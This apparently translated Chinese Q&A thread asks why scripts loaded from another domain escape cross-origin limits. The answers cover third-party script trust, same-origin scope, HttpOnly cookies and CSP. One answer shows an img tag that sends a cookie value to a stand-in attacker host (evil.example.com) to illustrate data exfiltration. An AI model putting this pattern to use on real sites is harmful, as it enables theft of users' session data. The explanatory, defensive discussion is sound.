为什么当我们从 y.com(例如 google analytics 或 jquery)链接到 x.com 上的 javascript 文件时,它不会导致任何跨域安全问题?
例如:
在 y.com/index.html 我们有:
<script type="text/javascript" src="http://x.com/jsfile.js" />
我们怎么知道什么时候可以做,什么时候不可以?
为什么当我们从 y.com(例如 google analytics 或 jquery)链接到 x.com 上的 javascript 文件时,它不会导致任何跨域安全问题?
例如:
在 y.com/index.html 我们有:
<script type="text/javascript" src="http://x.com/jsfile.js" />
我们怎么知道什么时候可以做,什么时候不可以?
它有可能成为一个主要的安全漏洞,因此您必须信任托管 JavaScript 文件的站点。
例如,该代码可以将更多脚本标签和 img 标签注入您的网站,从而将敏感数据转发给第三方。
David 关于同源政策的评论可能具有误导性。将数据中继到远程站点的经典方法是将 img 标签插入到远程域:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
如果远程主机上的 JavaScript 代码被更改为动态注入这样的 img 标签,那么您的站点可能存在安全漏洞。对其中一些问题有一些缓解措施,例如使用无法通过 JavaScript 访问的仅 HTTP cookie。
分析系统的例子就是一个很好的例子。您必须相信提供商不会获取任何敏感数据(例如您自己的 cookie)并将其发送到远程位置。您还需要相信提供商他们的系统是安全的,并且黑客无法更改其服务器上的 JavaScript 文件。分析系统通常使用这些相同的技术来工作,但希望他们将其用于善意而不是作恶。从某种意义上说,这与担心您的开发人员是否正在编写良好、安全的代码以及他们是否引入了秘密后门没有什么不同。
至于为什么允许,这只是历史原因。Web 在设计时根本没有考虑到安全性。无论是 CSRF 攻击、重放攻击还是 XSS 攻击,这些都是 Web 设计中的根本缺陷,现在已成为 Web 开发人员关注的问题。
数据的来源无关紧要,重要的是使用它的范围。
您只是从不同的域获取脚本,它仍然在您自己的页面范围内运行,因此它无法访问加载它的域中的资源。
在您遇到跨域问题的情况下,例如包含来自不同域的页面的 iframe,您有两个不同的范围。iframe 中的页面在从中加载它的域的范围内运行,因此它可以访问该域中的资源,但它无法访问托管 iframe 的页面中的任何内容,因为这是一个不同的范围。
(注意:我不知道“范围”这个词在这个上下文中是否常用,可能有一个更好的术语来描述它。)
我不知道为什么我们可以做到。但是您可以使用内容安全策略 (CSP) 来防止它发生,这是一个由您的 Web 应用程序发送的 HTTP 标头,它声明它不应加载 JavaScript,除非您明确允许的域。